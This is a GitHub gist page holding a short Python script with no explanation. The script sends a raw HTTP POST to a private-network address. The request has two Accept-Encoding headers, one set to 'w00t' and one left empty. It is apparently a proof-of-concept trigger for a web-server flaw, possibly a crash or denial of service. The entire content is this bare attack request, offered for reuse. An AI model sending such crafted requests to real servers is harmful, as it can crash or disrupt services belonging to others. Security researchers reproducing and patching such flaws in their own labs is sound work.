Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active June 5, 2021 15:51
Show Gist options
  • Save hugsy/6373479713103289c012286e7f401fc1 to your computer and use it in GitHub Desktop.
Save hugsy/6373479713103289c012286e7f401fc1 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3.9
import socket
s = socket.socket()
s.connect( ("192.168.57.99", 80) )
s.send(b"""POST / HTTP/1.1\r
Host: 192.168.57.99\r
Accept-Encoding: w00t\r
Accept-Encoding: \r
\r\n""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment